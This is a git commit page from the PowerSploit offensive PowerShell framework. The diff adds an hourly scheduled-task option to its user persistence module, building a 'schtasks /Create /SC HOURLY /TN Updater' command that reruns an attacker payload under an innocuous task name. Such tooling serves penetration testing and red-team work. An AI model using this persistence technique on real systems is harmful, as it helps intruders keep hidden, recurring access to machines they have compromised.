diff options
| author | pyllyukko <pyllyukko@maimed.org> | 2016-04-25 17:44:24 +0300 |
|---|---|---|
| committer | pyllyukko <pyllyukko@maimed.org> | 2016-04-25 17:44:24 +0300 |
| commit | 75a37a0f175a70566ac23fc6839aaffccee18abd (patch) | |
| tree | 202a5271fedf9c8309cfb73d29db46bb1b83cd3b /Persistence | |
| parent | a6564f44833fa6fbbc8d05f337781abf03f05e44 (diff) | |
| download | PowerSploit-75a37a0f175a70566ac23fc6839aaffccee18abd.tar.gz PowerSploit-75a37a0f175a70566ac23fc6839aaffccee18abd.zip | |
Added ScheduledTaskHourly to New-UserPersistenceOption
Diffstat (limited to 'Persistence')
| -rw-r--r-- | Persistence/Persistence.psm1 | 20 |
1 files changed, 20 insertions, 0 deletions
diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index b957cb7..0861af6 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -229,6 +229,10 @@ function New-UserPersistenceOption Starts the payload daily. +.PARAMETER Hourly + + Starts the payload hourly. + .PARAMETER At Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. @@ -248,6 +252,7 @@ function New-UserPersistenceOption [CmdletBinding()] Param ( [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] [Switch] $ScheduledTask, @@ -260,6 +265,10 @@ function New-UserPersistenceOption [Switch] $Daily, + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] + [Switch] + $Hourly, + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [DateTime] $At, @@ -300,6 +309,12 @@ function New-UserPersistenceOption $PersistenceOptionsTable['Time'] = $At } + 'ScheduledTaskHourly' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Hourly' + } + 'Registry' { $PersistenceOptionsTable['Method'] = 'Registry' @@ -637,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " } + 'Hourly' + { + $UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR " + } + 'OnIdle' { $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR " |